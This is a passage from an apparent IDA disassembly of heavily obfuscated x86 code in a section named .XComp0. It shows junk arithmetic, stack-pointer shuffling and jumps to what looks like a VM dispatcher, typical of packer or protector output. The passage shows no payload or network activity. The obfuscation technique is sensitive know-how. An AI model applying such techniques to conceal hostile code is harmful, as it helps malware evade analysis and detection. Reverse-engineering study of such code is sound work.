		add	eax, 0F288E340h
		and	edx, eax
		pop	eax
		jmp	loc_58B843
; ---------------------------------------------------------------------------


loc_58F17E:				; CODE XREF: .XComp0:0059703Cj
		pop	ebx
		add	esp, 4
		add	edx, 4
		push	edx
		jmp	loc_59238B
; ---------------------------------------------------------------------------


loc_58F18E:				; CODE XREF: .XComp0:0058EEDAj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		push	4
		jmp	loc_5960CA
; ---------------------------------------------------------------------------


loc_58F1A5:				; CODE XREF: .XComp0:00594723j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_58C263
; ---------------------------------------------------------------------------


loc_58F1BD:				; CODE XREF: .XComp0:00590EADj
		mov	edx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_5963FE
; ---------------------------------------------------------------------------


loc_58F1CC:				; CODE XREF: .XComp0:00589F82j
		pop	esp
		jmp	loc_58E770
; ---------------------------------------------------------------------------


loc_58F1D2:				; CODE XREF: .XComp0:0059517Ej
		pop	ecx
		and	eax, ebx
		mov	ebx, [esp]
		sub	esp, 4
		jmp	loc_589F77
; ---------------------------------------------------------------------------


loc_58F1E3:				; CODE XREF: .XComp0:005952D3j
		shr	ebx, 1
		push	esi
		jmp	loc_587924
; ---------------------------------------------------------------------------


loc_58F1EB:				; CODE XREF: .XComp0:0058F280j
		add	esp, 4
		push	12CCh
		mov	[esp], esi
		jmp	loc_58F87C
; ---------------------------------------------------------------------------


loc_58F1FE:				; CODE XREF: .XComp0:005847C3j
		add	ebp, edx
		pop	edx
		jmp	loc_590467
; ---------------------------------------------------------------------------


loc_58F206:				; CODE XREF: .XComp0:00597538j
		mov	dx, [esp]
		push	1A8Eh
		jmp	loc_588A79
; ---------------------------------------------------------------------------


loc_58F214:				; CODE XREF: .XComp0:00594450j
		shl	ecx, 7
		add	ecx, 3A962409h
		dec	ecx
		push	ebx
		jmp	loc_589B34
; ---------------------------------------------------------------------------


loc_58F224:				; CODE XREF: .XComp0:005954D3j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	ebx, 6BA32C60h
		add	ebx, edi
		sub	ebx, 6BA32C60h
		mov	edi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	edi, 4
		push	ebp
		mov	ebp, 2
		jmp	loc_594A5D
; ---------------------------------------------------------------------------


loc_58F25D:				; CODE XREF: .XComp0:0058AFEFj
		sub	edi, 795A6F22h
		mov	edx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		push	edi
		push	esp
		pop	edi
		push	ebx
		jmp	loc_5980C3
; ---------------------------------------------------------------------------


loc_58F279:				; CODE XREF: .XComp0:00589958j
		sub	esi, edx
		pop	edx
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_58F1EB
; ---------------------------------------------------------------------------


loc_58F285:				; CODE XREF: .XComp0:005845ABj
		mov	ecx, edx
		mov	ebp, ecx
		pop	ecx
		jmp	loc_58692F
; ---------------------------------------------------------------------------


loc_58F28F:				; CODE XREF: .XComp0:00586A57j
		pop	ecx
		jmp	loc_590C32
; ---------------------------------------------------------------------------


loc_58F295:				; CODE XREF: .XComp0:00592524j
		add	edi, 4
		jmp	loc_595A9F
; ---------------------------------------------------------------------------


loc_58F2A0:				; CODE XREF: .XComp0:00597F6Bj
		shl	ebp, 1
		jmp	loc_5940DB
; ---------------------------------------------------------------------------


loc_58F2A7:				; CODE XREF: .XComp0:0058D66Dj
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		jmp	loc_591FF7
; ---------------------------------------------------------------------------


loc_58F2B6:				; CODE XREF: .XComp0:00585C81j
		mov	[esp], eax
		pop	esi
		jmp	loc_586B04
; ---------------------------------------------------------------------------


loc_58F2BF:				; CODE XREF: .XComp0:0058489Ej
		mov	eax, [esp]
		jmp	loc_594094
; ---------------------------------------------------------------------------


loc_58F2C7:				; CODE XREF: .XComp0:0058EECAj
		add	esi, 5EAF5627h
		add	esi, 11100171h
		add	esi, edx
		push	ebp
		mov	ebp, 2FB34831h
		shr	ebp, 2
		sub	ebp, 17ED0892h
		inc	ebp
		xor	ebp, 0E2EFC80Ah
		add	esi, 5B97176Ch
		sub	esi, ebp
		sub	esi, 5B97176Ch
		pop	ebp
		sub	esi, 5EAF5627h
		add	esi, 6A691BEBh
		jmp	loc_58D693
; ---------------------------------------------------------------------------


loc_58F30B:				; CODE XREF: .XComp0:005896ECj
		pop	ebx
		pop	eax
		push	dx
		jmp	loc_592C14
; ---------------------------------------------------------------------------


loc_58F314:				; CODE XREF: .XComp0:0058D637j
		pop	esi
		add	esi, 67483B4Dh
		sub	esi, 59570B61h
		jmp	loc_583C29
; ---------------------------------------------------------------------------


loc_58F326:				; CODE XREF: .XComp0:0059248Dj
		push	ebx
		mov	ebx, 72906749h
		push	ebx
		inc	dword ptr [esp]
		jmp	loc_58E90F
; ---------------------------------------------------------------------------


loc_58F335:				; CODE XREF: .XComp0:0058B0CAj
		push	ebp
		mov	ebp, esp
		jmp	loc_5885FB
; ---------------------------------------------------------------------------


loc_58F33D:				; CODE XREF: .XComp0:0058AFA6j
		sub	ebp, 67110230h
		add	ebp, ecx
		add	ebp, 67110230h
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		movsx	ecx, ax
		jmp	loc_5981DD
; ---------------------------------------------------------------------------


loc_58F35E:				; CODE XREF: .XComp0:00598159j
		pop	bx
		sub	ax, bp
		add	ax, 76C1h
		mov	bp, [esp]
		add	esp, 2
		push	small 556h
		mov	[esp], bp
		mov	bp, 5472h
		sub	ax, bp
		mov	bp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 2
		jmp	loc_5852A3
; ---------------------------------------------------------------------------


loc_58F39A:				; CODE XREF: .XComp0:00588C8Bj
		pop	eax
		jmp	loc_585964
; ---------------------------------------------------------------------------


loc_58F3A0:				; CODE XREF: .XComp0:005947FFj
		add	edi, 4
		jmp	loc_593428
; ---------------------------------------------------------------------------


loc_58F3AB:				; CODE XREF: .XComp0:0059227Fj
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_584D27
; ---------------------------------------------------------------------------


loc_58F3B4:				; CODE XREF: .XComp0:00586AFFj
		add	esp, 4
		add	eax, ebx
		add	dword ptr [eax], 1
		jmp	loc_58AD03
; ---------------------------------------------------------------------------


loc_58F3C4:				; CODE XREF: .XComp0:005981D8j
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_5964BE
; ---------------------------------------------------------------------------


loc_58F3DB:				; CODE XREF: .XComp0:0058BFB1j
		pop	eax
		jmp	loc_58BE84
; ---------------------------------------------------------------------------


loc_58F3E1:				; CODE XREF: .XComp0:00589AB6j
		shr	edi, 4
		sub	edi, 0DB27CA89h
		mov	edx, edi
		pop	edi
		and	edx, 3E9D21B0h
		shl	edx, 6
		add	edx, 61C161BFh
		sub	edx, 10417EDBh
		sub	edi, edx
		pop	edx
		add	edi, ecx
		push	ebx
		mov	ebx, 75804AE4h
		add	edi, ebx
		jmp	loc_58DE54
; ---------------------------------------------------------------------------


loc_58F414:				; CODE XREF: .XComp0:00597E01j
		add	bl, 0FFh
		shr	bl, 8
		jmp	loc_5888F2
; ---------------------------------------------------------------------------


loc_58F41F:				; CODE XREF: .XComp0:005902B8j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, 4
		jmp	loc_593878
; ---------------------------------------------------------------------------


loc_58F436:				; CODE XREF: .XComp0:00597A13j
		add	eax, edx
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		pop	ecx
		push	esi
		push	eax
		mov	eax, 293E27DCh
		mov	esi, 0D6C25824h
		push	ebp
		mov	ebp, 5C7D26A5h
		sub	ebp, 4AD31CB3h
		push	esi
		mov	esi, 5D490CA2h
		shr	esi, 8
		push	edx
		push	50BA7E9Eh
		pop	edx
		sub	edx, 61BF6928h
		add	edx, 6B0E4D74h
		and	esi, edx
		mov	edx, [esp]
		add	esp, 4
		xor	esi, 69F851A9h
		jmp	loc_598CA1
; ---------------------------------------------------------------------------


loc_58F48A:				; CODE XREF: .XComp0:00587FB7j
		sub	al, 11h
		jmp	loc_596BC3
; ---------------------------------------------------------------------------


loc_58F491:				; CODE XREF: .XComp0:0058A686j
		xor	eax, [esp]
		mov	esp, [esp]
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58F4A1:				; CODE XREF: .XComp0:00598476j
		mov	cl, 0BEh
		add	cl, 29h
		shl	cl, 5
		shl	cl, 7
		jmp	loc_5892A1
; ---------------------------------------------------------------------------


loc_58F4B1:				; CODE XREF: .XComp0:00585852j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_592008
; ---------------------------------------------------------------------------


loc_58F4C5:				; CODE XREF: .XComp0:00591A33j
		push	dx
		mov	dl, 25h
		sub	bl, dl
		pop	dx
		sub	bl, 0ABh
		sub	bl, al
		add	bl, 0ABh
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0AFh
		jmp	loc_58A2C6
; ---------------------------------------------------------------------------


loc_58F4E2:				; CODE XREF: .XComp0:005885C7j
		pop	ebx
		sub	esi, 0F179C8Bh
		jmp	loc_58BACE
; ---------------------------------------------------------------------------


loc_58F4EE:				; CODE XREF: .XComp0:00589F42j
		mov	ebp, esi
		jmp	loc_585F71
; ---------------------------------------------------------------------------


loc_58F4F5:				; CODE XREF: .XComp0:0058E488j
		mov	ecx, 570B7DD0h
		jmp	loc_593B56
; ---------------------------------------------------------------------------


loc_58F4FF:				; CODE XREF: .XComp0:0058879Bj
		shl	ecx, 1
		add	ecx, 0ECD71865h
		xor	edx, ecx
		jmp	loc_5981B2
; ---------------------------------------------------------------------------


loc_58F50E:				; CODE XREF: .XComp0:005916EBj
		dec	ebp
		jmp	loc_583C47
; ---------------------------------------------------------------------------


loc_58F514:				; CODE XREF: .XComp0:0058EB71j
		push	cx
		mov	cl, 0CAh
		jmp	loc_58875D
; ---------------------------------------------------------------------------


loc_58F51D:				; CODE XREF: .XComp0:0058918Fj
		mov	esi, ebp
		jmp	loc_589181
; ---------------------------------------------------------------------------


loc_58F524:				; CODE XREF: .XComp0:0058EF8Ej
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_5937D0
; ---------------------------------------------------------------------------


loc_58F531:				; CODE XREF: .XComp0:0058A16Dj
		sub	edx, ebx
		pop	ebx
		jmp	loc_585975
; ---------------------------------------------------------------------------


loc_58F539:				; CODE XREF: .XComp0:005920C6j
		pop	esi
		jmp	loc_58CE98
; ---------------------------------------------------------------------------


loc_58F53F:				; CODE XREF: .XComp0:0058A721j
		shl	ecx, 7
		jmp	loc_585CD4
; ---------------------------------------------------------------------------


loc_58F547:				; CODE XREF: .XComp0:005941C7j
		pop	ebx
		jmp	loc_598E5E
; ---------------------------------------------------------------------------


loc_58F54D:				; CODE XREF: .XComp0:00590356j
		mov	[esp], esp
		push	6875h
		mov	[esp], esi
		push	ebp
		mov	ebp, 6CDC3993h
		mov	esi, 9323C671h
		add	esi, ebp
		pop	ebp
		add	[esp+4], esi
		pop	esi
		jmp	loc_584154
; ---------------------------------------------------------------------------


loc_58F570:				; CODE XREF: .XComp0:00596F3Fj
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58F575:				; CODE XREF: .XComp0:0058C57Cj
		push	3427h
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_5933C8
; ---------------------------------------------------------------------------


loc_58F592:				; CODE XREF: .XComp0:005859D8j
		mov	ebx, esp
		jmp	loc_5956D4
; ---------------------------------------------------------------------------


loc_58F599:				; CODE XREF: .XComp0:00593AB2j
		xor	eax, 48F143BCh
		and	eax, 78987DBAh
		jmp	loc_589629
; ---------------------------------------------------------------------------


loc_58F5A8:				; CODE XREF: .XComp0:00591878j
		sub	eax, 4F7860BEh
		inc	eax
		xor	eax, 0B0C41720h
		add	ecx, eax
		pop	eax
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_59636E
; ---------------------------------------------------------------------------


loc_58F5C7:				; CODE XREF: .XComp0:005840F4j
		pop	esp
		jmp	loc_5926FA
; ---------------------------------------------------------------------------


loc_58F5CD:				; CODE XREF: .XComp0:005923BCj
		pop	esi
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	1714h
		mov	[esp], ecx
		jmp	loc_595A5D
; ---------------------------------------------------------------------------


loc_58F5E5:				; CODE XREF: .XComp0:00590854j
		add	esi, edx
		jmp	loc_5953BB
; ---------------------------------------------------------------------------


loc_58F5EC:				; CODE XREF: .XComp0:0058D4A9j
		mov	[esp], edi
		jmp	loc_591EA7
; ---------------------------------------------------------------------------


loc_58F5F4:				; CODE XREF: .XComp0:005846A6j
		push	edx
		push	2D70h
		mov	[esp], eax
		push	27DB44D7h
		pop	eax
		xor	eax, 27DB44D3h
		push	ebx
		mov	ebx, eax
		jmp	loc_58CA20
; ---------------------------------------------------------------------------


loc_58F610:				; CODE XREF: .XComp0:00595678j
		sub	edi, 33EA4101h
		jmp	loc_594208
; ---------------------------------------------------------------------------


loc_58F61B:				; CODE XREF: .XComp0:0059126Fj
		push	ebp
		mov	ebp, 0CDF15A7h
		add	edi, ebp
		pop	ebp
		sub	edi, 33C4743Ch
		push	2156h
		jmp	loc_5975C6
; ---------------------------------------------------------------------------


loc_58F634:				; CODE XREF: .XComp0:005907F3j
		mov	[esp], ebp
		mov	ebp, 7D1C00B2h
		jmp	loc_597B76
; ---------------------------------------------------------------------------


loc_58F641:				; CODE XREF: .XComp0:0058FE37j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	eax
		push	1CB45B31h
		pop	eax
		shr	eax, 5
		sub	eax, 0E5A2D5h
		mov	esi, eax
		pop	eax
		add	ecx, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5939A7
; ---------------------------------------------------------------------------


loc_58F67D:				; CODE XREF: .XComp0:005960B2j
		mov	[esp], edi
		mov	edi, 2B5367F6h
		and	edi, 3C5C2C93h
		add	edi, 0D7AFDB72h
		add	eax, 4B0E7629h
		jmp	loc_58B6F3
; ---------------------------------------------------------------------------


loc_58F69B:				; CODE XREF: .XComp0:0058B372j
		sub	ebp, ebx
		pop	ebx
		xor	edx, ebp
		pop	ebp
		jmp	loc_597ECC
; ---------------------------------------------------------------------------


loc_58F6A6:				; CODE XREF: .XComp0:00586FE3j
		pop	esi
		jmp	loc_598B1A
; ---------------------------------------------------------------------------


loc_58F6AC:				; CODE XREF: .XComp0:0058A2FDj
		add	al, 83h
		sub	al, 0F5h
		add	al, bl
		add	al, 0F5h
		sub	al, 83h
		jmp	loc_58CDAD
; ---------------------------------------------------------------------------


loc_58F6BB:				; CODE XREF: .XComp0:00584B72j
		add	esp, 4
		jmp	loc_592C93
; ---------------------------------------------------------------------------


loc_58F6C3:				; CODE XREF: .XComp0:0058E794j
		sub	al, bl
		pop	ebx
		jmp	loc_5876D4
; ---------------------------------------------------------------------------


loc_58F6CB:				; CODE XREF: .XComp0:0058FA4Dj
		mov	esi, 688D0222h
		or	esi, 47B6061h
		shr	esi, 3
		push	ebp
		mov	ebp, 2EFF8F02h
		xor	esi, ebp
		pop	ebp
		jmp	loc_5865B5
; ---------------------------------------------------------------------------


loc_58F6E7:				; CODE XREF: .XComp0:00591113j
		mov	edi, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		xor	ebp, [esp]
		jmp	loc_588102
; ---------------------------------------------------------------------------


loc_58F70E:				; CODE XREF: .XComp0:00592E48j
		push	ecx
		mov	cl, 2Fh
		sub	al, cl
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 82h
		dec	bl
		jmp	loc_595BBA
; ---------------------------------------------------------------------------


loc_58F726:				; CODE XREF: .XComp0:00587BC9j
		pop	ebx
		add	eax, 213B77C0h
		add	eax, 69D308F2h
		push	dword ptr [esp]
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	eax, ebx
		jmp	loc_5962D7
; ---------------------------------------------------------------------------


loc_58F74F:				; CODE XREF: .XComp0:0058E65Ej
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_58DA4C
; ---------------------------------------------------------------------------


loc_58F75D:				; CODE XREF: .XComp0:00593458j
		or	ebx, 54652F87h
		inc	ebx
		push	ebp
		mov	ebp, 70B77478h
		jmp	loc_583DD3
; ---------------------------------------------------------------------------


loc_58F76F:				; CODE XREF: .XComp0:00597859j
		pop	eax
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		mov	ebp, 24h
		push	ebp
		push	ebp
		mov	ebp, 730D244Fh
		add	[esp+4], ebp
		pop	ebp
		pop	ecx
		sub	ecx, 730D244Fh
		push	dword ptr [esp]
		jmp	loc_58EBFC
; ---------------------------------------------------------------------------


loc_58F798:				; CODE XREF: .XComp0:00595401j
		mov	edi, [esp]
		jmp	loc_5862D2
; ---------------------------------------------------------------------------


loc_58F7A0:				; CODE XREF: .XComp0:0058B76Ej
		push	1914h
		jmp	loc_58AA62
; ---------------------------------------------------------------------------


loc_58F7AA:				; CODE XREF: .XComp0:005946EEj
		add	ebx, 3A223E79h
		add	ebx, 0FFFFFFFFh
		xor	ebx, 491C5878h
		xor	ebx, 0BDAE119Fh
		jmp	loc_597EEE
; ---------------------------------------------------------------------------


loc_58F7C4:				; CODE XREF: .XComp0:00587665j
		shl	edi, 8
		jmp	loc_591E93
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		push	235Ch
		push	esp
		pop	dword ptr [esp]
		push	esi
		mov	esi, 4
		sub	dword ptr [esp+4], 13306679h
		sub	dword ptr [esp+4], 1B4F39EFh
		add	[esp+4], esi
		add	dword ptr [esp+4], 1B4F39EFh
		jmp	loc_58851D
; ---------------------------------------------------------------------------


loc_58F801:				; CODE XREF: .XComp0:005870A1j
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_5960AF
; ---------------------------------------------------------------------------


loc_58F80B:				; CODE XREF: .XComp0:00587FF2j
		pop	eax
		jmp	loc_593098
; ---------------------------------------------------------------------------
		db 57h,	81h, 0ECh
		dd 4, 0FF669CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58F81D:				; CODE XREF: .XComp0:0058C4B0j
		push	ebp
		mov	ebp, 628920D6h
		and	eax, ebp
		pop	ebp
		push	esi
		mov	esi, 6FFC351Ch
		sub	esi, 5EAC0F1Eh
		add	eax, 26D110EFh
		jmp	loc_595331
; ---------------------------------------------------------------------------


loc_58F83C:				; CODE XREF: .XComp0:005924C5j
		push	1075h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	5CD5h
		mov	[esp], ecx
		mov	ecx, esp
		push	7BE7h
		mov	[esp], esi
		mov	esi, 35FA5972h
		push	eax
		mov	eax, 35FA596Eh
		sub	esi, eax
		jmp	loc_59809F
; ---------------------------------------------------------------------------


loc_58F87C:				; CODE XREF: .XComp0:0058F1F9j
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_598FB8
; ---------------------------------------------------------------------------


loc_58F88E:				; CODE XREF: .XComp0:00599033j
		and	ebp, 75342954h
		shl	ebp, 8
		xor	ebp, 0EF8B929Ah
		add	ebx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 47F52BC5h
		push	edx
		mov	edx, 6894001Ch
		sub	ecx, edx
		pop	edx
		jmp	loc_58ECD8
; ---------------------------------------------------------------------------


loc_58F8B4:				; CODE XREF: .XComp0:00591746j
		push	edx
		mov	dh, 7
		mov	al, 0B7h
		add	al, 0AFh
		sub	al, dh
		sub	al, 0AFh
		pop	edx
		add	ch, 0D5h
		jmp	loc_596C6F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		jmp	loc_58CCA1
; ---------------------------------------------------------------------------


loc_58F8D2:				; CODE XREF: .XComp0:00586A48j
		add	ecx, 4
		push	ebx
		mov	ebx, 594F23A0h
		shl	ebx, 5
		add	ebx, 98874C5h
		and	ebx, 0EA24143h
		or	ebx, 7FD059F4h
		sub	ebx, 7FF059F1h
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		jmp	loc_584CFF
; ---------------------------------------------------------------------------


loc_58F904:				; CODE XREF: .XComp0:005899DAj
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58FC38
; ---------------------------------------------------------------------------


loc_58F912:				; CODE XREF: .XComp0:005966FAj
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, ecx
		push	3379h
		mov	[esp], ebx
		mov	ebx, 692A2738h
		add	eax, ebx
		jmp	loc_586FF1
; ---------------------------------------------------------------------------


loc_58F930:				; CODE XREF: .XComp0:005937A3j
		xor	ebx, [esp]
		mov	esp, [esp]
		xor	[esp], ax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58F940:				; CODE XREF: .XComp0:00598B33j
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58F945:				; CODE XREF: .XComp0:00588E18j
		pop	esp
		push	ecx
		jmp	loc_5872F1
; ---------------------------------------------------------------------------


loc_58F94C:				; CODE XREF: .XComp0:00589EF7j
		pop	edx
		mov	ecx, 0D2A0340Ch
		add	ecx, esi
		pop	esi
		and	edi, ecx
		jmp	loc_595F10
; ---------------------------------------------------------------------------


loc_58F95C:				; CODE XREF: .XComp0:0058E672j
		mov	ecx, esp
		push	eax
		push	esi
		mov	esi, 63A625ABh
		mov	eax, 63A625AFh
		sub	eax, esi
		pop	esi
		add	ecx, 3BDC12FFh
		add	ecx, eax
		push	eax
		jmp	loc_58CF5E
; ---------------------------------------------------------------------------


loc_58F97B:				; CODE XREF: .XComp0:005913B7j
		add	ebp, 4
		jmp	loc_58D1FB
; ---------------------------------------------------------------------------


loc_58F986:				; CODE XREF: .XComp0:00586AD8j
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_59639D
; ---------------------------------------------------------------------------


loc_58F9A1:				; CODE XREF: .XComp0:0058EC5Dj
		pop	esi
		jmp	loc_586F78
; ---------------------------------------------------------------------------


loc_58F9A7:				; CODE XREF: .XComp0:0058D11Aj
		push	esi
		mov	esi, 778555B2h
		jmp	loc_58C15B
; ---------------------------------------------------------------------------


loc_58F9B2:				; CODE XREF: .XComp0:005843ACj
		pop	edx
		shr	cl, 4
		neg	cl
		jmp	loc_59169B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		mov	edx, esp
		push	ebp
		push	eax
		push	5EB8h
		mov	[esp], edi
		mov	edi, 15DA28F3h
		mov	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, eax
		mov	ebp, ebx
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_589140
; ---------------------------------------------------------------------------


loc_58F9EC:				; CODE XREF: .XComp0:005840FAj
		push	edx
		push	19F07F78h
		pop	edx
		xor	edx, 5EF05219h
		neg	edx
		shl	edx, 5
		push	ebx
		mov	ebx, 0A394D9A5h
		sub	edx, ebx
		pop	ebx
		mov	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_598169
; ---------------------------------------------------------------------------


loc_58FA17:				; CODE XREF: .XComp0:00585DE1j
		push	dword ptr [esp]
		jmp	loc_596360
; ---------------------------------------------------------------------------


loc_58FA1F:				; CODE XREF: .XComp0:0059565Ej
		dec	edi
		shl	edi, 4
		or	edi, 7D675FEFh
		jmp	loc_586C97
; ---------------------------------------------------------------------------


loc_58FA2E:				; CODE XREF: .XComp0:0058ADE1j
		add	edx, edi
		add	edx, 36DC7ACBh
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58FA44:				; CODE XREF: .XComp0:00596488j
		neg	ecx
		dec	ecx
		jmp	loc_58EA6C
; ---------------------------------------------------------------------------


loc_58FA4C:				; CODE XREF: .XComp0:00597C7Ej
		push	esi
		jmp	loc_58F6CB
; ---------------------------------------------------------------------------


loc_58FA52:				; CODE XREF: .XComp0:005893BFj
		pop	dword ptr [esp]
		pop	esp
		bt	[esp], ax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58FA61:				; CODE XREF: .XComp0:0058DD51j
		mov	ebx, 156006Bh
		xor	edx, ebx
		pop	ebx
		push	edx
		mov	edx, 18D023CFh
		add	edi, edx
		pop	edx
		add	edi, edx
		sub	edi, 18D023CFh
		jmp	loc_58A69B
; ---------------------------------------------------------------------------


loc_58FA7F:				; CODE XREF: .XComp0:0058BBA0j
		mov	eax, ecx
		pop	ecx
		add	ebp, eax
		jmp	loc_588A3C
; ---------------------------------------------------------------------------


loc_58FA89:				; CODE XREF: .XComp0:0058B65Aj
		pop	esi
		not	ecx
		push	edx
		mov	edx, 4D63192Eh
		sub	edx, 26635945h
		shl	edx, 3
		push	esi
		mov	esi, 19D2581Eh
		jmp	loc_5847F3
; ---------------------------------------------------------------------------


loc_58FAA6:				; CODE XREF: .XComp0:00584423j
		not	ecx
		shl	ecx, 5
		add	ecx, 65272D84h
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		jmp	loc_58FB27
; ---------------------------------------------------------------------------


loc_58FABE:				; CODE XREF: .XComp0:0058E74Bj
		or	edx, esi
		pop	esi
		jmp	loc_59785E
; ---------------------------------------------------------------------------


loc_58FAC6:				; CODE XREF: .XComp0:00586B1Ej
		add	ebp, ebx
		pop	ebx
		sub	ebp, esi
		sub	ebp, 130271D5h
		mov	esi, [esp]
		jmp	loc_5975CE
; ---------------------------------------------------------------------------


loc_58FAD9:				; CODE XREF: .XComp0:0059404Dj
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_596F3E
; ---------------------------------------------------------------------------


loc_58FAE7:				; CODE XREF: .XComp0:0059342Ej
		pop	esp
		mov	[esp], edx
		sub	dword ptr [esp], 79E75895h
		pop	ebp
		push	663Bh
		mov	[esp], edi
		jmp	loc_586737
; ---------------------------------------------------------------------------


loc_58FB00:				; CODE XREF: .XComp0:0059611Dj
		push	edi
		jmp	$+5
		mov	edi, 922FD3B5h
		add	esi, edi
		pop	edi
		jmp	loc_5854D7
; ---------------------------------------------------------------------------


loc_58FB13:				; CODE XREF: .XComp0:00596387j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_58A3CE
; ---------------------------------------------------------------------------


loc_58FB27:				; CODE XREF: .XComp0:0058FAB9j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	edx
		jmp	loc_58B713
; ---------------------------------------------------------------------------


loc_58FB36:				; CODE XREF: .XComp0:0058C7E9j
		sub	cl, 6Ah
		jmp	loc_58FE3C
; ---------------------------------------------------------------------------


loc_58FB3E:				; CODE XREF: .XComp0:005983F8j
		mov	edx, 16037CA5h
		jmp	loc_58961A
; ---------------------------------------------------------------------------


loc_58FB48:				; CODE XREF: .XComp0:00595075j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		add	edi, 2
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58FB71:				; CODE XREF: .XComp0:00592E15j
		pop	edi
		push	edi
		sub	esp, 4
		jmp	loc_58D2B5
; ---------------------------------------------------------------------------


loc_58FB7B:				; CODE XREF: .XComp0:0058BC56j
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	[esp], eax
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58FBA5:				; CODE XREF: .XComp0:00589323j
		add	esi, 4
		sub	esi, 2
		jmp	loc_595663
; ---------------------------------------------------------------------------


loc_58FBB6:				; CODE XREF: .XComp0:005876ABj
		pop	ebp
		sub	edx, 238F5548h
		sub	edx, ecx
		add	edx, 238F5548h
		push	dword ptr [esp]
		pop	ecx
		push	3EEDh
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	eax
		mov	eax, 4
		jmp	loc_590415
; ---------------------------------------------------------------------------


loc_58FBE4:				; CODE XREF: .XComp0:00596CFDj
		mov	edx, [esp]
		jmp	loc_595406
; ---------------------------------------------------------------------------


loc_58FBEC:				; CODE XREF: .XComp0:00584B82j
		mov	[esp], eax
		push	2B17h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	ecx
		jmp	loc_58DDEF
; ---------------------------------------------------------------------------


loc_58FC0A:				; CODE XREF: .XComp0:0059167Ej
		sub	al, dh
		mov	edx, [esp]
